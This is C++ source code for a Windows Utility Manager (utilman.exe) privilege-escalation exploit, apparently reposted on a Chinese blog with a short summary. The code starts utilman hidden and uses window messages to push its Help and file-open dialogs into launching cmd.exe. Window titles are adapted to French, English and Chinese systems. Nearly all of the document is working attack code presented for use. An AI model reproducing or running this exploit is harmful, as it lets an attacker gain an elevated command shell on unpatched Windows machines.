//
ms0419.cpp : 定义应用程序的入口点。Powered by barenx
//
#include
"
stdafx.h
"
#include
"
ms0419.h
"
#include
"
math.h
"
//
#define MAX_LOADSTRING 100
//
全局变量:
//
HINSTANCE hInst;
//
当前实例
//
TCHAR szTitle[MAX_LOADSTRING];
//
标题栏文本
//
TCHAR szWindowClass[MAX_LOADSTRING];
//
主窗口类名
//
此代码模块中包含的函数的前向声明:
//
ATOM MyRegisterClass(HINSTANCE hInstance);
//
BOOL InitInstance(HINSTANCE, int);
//
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
//
LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int
set_lang(
void
);
struct
...
{
int id;
char *utilman;
char *winhelp;
char *open;
}
lang[]
=
...
{
...{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /**//* French */
...{ 0x09,"Utility manager","Windows Help","Open" }, /**//* English */
...{ 0x04,"辅助工具管理器","Windows 帮助","打开" } /**//* Chinese */
}
;
int
APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int
nCmdShow)
...
{
HWND lHandle, lHandle2;
POINT point;
char cmd[]="%windir%/system32/cmd.ex?";
unsigned int i;
int lang_id,j;
//test time run this bagin
long needtime,needmin;
needtime=GetTickCount();
for(long tmp=0;tmp<=120000;tmp++)
...{
tmp/=1;
tmp*=1;
Sleep(0);
tmp++;
tmp/=1;
Sleep(0);
tmp--;
tmp*=1;
Sleep(0);
tmp=(long)(pow(tmp,1));
Sleep(0);
};
needtime=GetTickCount()-needtime;
needmin=(long)(needtime/3);
//test end
lang_id=set_lang();
for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++) if(lang[i].id==lang_id) break;
if(i==sizeof(lang)/sizeof(lang[0])) ...{return -1;}
WinExec("utilman.exe /start",SW_HIDE);
for(j=0;j<13;j++)
...{
Sleep(needtime);
lHandle=FindWindow("#32770", lang[i].utilman);
if(lHandle!=0)break;
}
if (!lHandle) return 0;
PostMessage(lHandle,0x313,0,0); //=right click on the app button in the
Sleep(needmin);
SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL
Sleep(needmin);
PostMessage(lHandle, WM_QUIT, 0, 0);
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle=FindWindow(NULL, lang[i].winhelp); //find help dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
break;
}
}
if (!lHandle) return 0;
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle = FindWindow("#32770",lang[i].open); //find open dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
Sleep(needmin);
break;
}
}
if (!lHandle) return 0;
Sleep(needtime+needtime);//+needmin
lHandle2 = GetDlgItem(lHandle, 0x47C);
if (!lHandle2) return 0;
//Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(needmin+needtime);//+needtime
lHandle2 = GetDlgItem(lHandle, 0x4A0);
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(needmin);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
SendMessage(lHandle,WM_SHOWWINDOW,true,SW_OTHERUNZOOM);
Sleep(needmin+5);
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(needmin+needmin);
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
Sleep(needtime);
SendMessage (lHandle, WM_CLOSE, 0, 0); //find open dialog
PostMessage (lHandle, WM_QUIT, 0, 0); //find open dialog
PostMessage (FindWindow(NULL, lang[i].winhelp), WM_QUIT, 0, 0);
return 0;
// TODO: 在此放置代码。
//MSG msg;
//HACCEL hAccelTable;

/**///// 初始化全局字符串
//LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
//LoadString(hInstance, IDC_MS0419, szWindowClass, MAX_LOADSTRING);
//MyRegisterClass(hInstance);

/**///// 执行应用程序初始化:
//if (!InitInstance (hInstance, nCmdShow))
//{
// return FALSE;
//}
//hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_MS0419);

/**///// 主消息循环:
//while (GetMessage(&msg, NULL, 0, 0))
//{
// if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
// {
// TranslateMessage(&msg);
// DispatchMessage(&msg);
// }
//}
//return (int) msg.wParam;
}

inline
int
set_lang(
void
)
...
{
unsigned int lang_usr,lang_sys,id;
id=GetSystemDefaultLangID();
lang_sys=PRIMARYLANGID(id);
id=GetUserDefaultLangID();
lang_usr=PRIMARYLANGID(id);
if(lang_usr!=lang_sys) ...{
//printf("warning: user language differs from system language ");
//printf("1. system : ");print_lang(lang_sys);
//printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
//id=getch();
if(id!=49&&id!=50) ...{
//printf("wrong choice '%c', leaving. ",id);
exit(0);
}
if(id==49) ...{
//printf("system language ");
return lang_sys;
}
else;
//printf("user language ");
}
return lang_usr;
}


本文介绍了一种通过利用Utilman漏洞实现命令执行的技术。该技术通过修改Utilman(辅助工具管理器)来运行任意命令,适用于多种语言环境。文章详细展示了如何设置语言环境、触发漏洞并最终执行命令的过程。
7208

被折叠的 条评论
为什么被折叠?



